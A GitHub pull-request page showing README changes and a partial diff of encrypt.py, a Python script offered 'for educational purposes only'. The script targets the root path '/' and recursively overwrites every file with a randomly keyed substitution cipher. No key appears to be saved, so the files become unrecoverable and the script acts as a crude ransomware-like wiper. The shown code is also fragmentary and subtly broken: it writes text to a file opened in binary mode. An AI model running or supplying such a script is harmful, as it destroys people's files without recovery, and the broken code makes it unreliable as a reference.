Skip to content

Code Refactoring and README update #1

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 6 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,9 @@
# EncryptingOnPython

Tool on python for encrypting and decrypting files
A simple Python script that encrypts files.
The script can encrypt individual files or entire folders and their subfolders.

The script is created for educational purposes only. The author is not responsible for your actions
NOTE:
-> The script uses a simple substitution cipher to encrypt the files, which is not secure for sensitive data.

-> The script is created for educational purposes only. The author is not responsible for your actions
4 changes: 3 additions & 1 deletion encrypt.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@

path = '/'

# Encrypts a file by shuffling the characters in the file
def encrypt_file(file):
char = list(" " + string.ascii_letters + string.digits + string.punctuation)
key = char.copy()
Expand All @@ -17,14 +18,15 @@ def encrypt_file(file):
data = r_file.read()
encrypt_text = ''
for letter in data:
index = chars.index(letter)
index = char.index(letter)
encrypt_text += key[index]
with open(file, 'wb') as w_file:
w_file.write(encrypt_text)
print(f'{file} encrypt')
except PermissionError:
pass

# Encrypts all files in a folder and its subfolders
def encrypt_folder(path=path):
for file in pathlib.Path(path).glob('*'):
if os.path.isfile(file):
Expand Down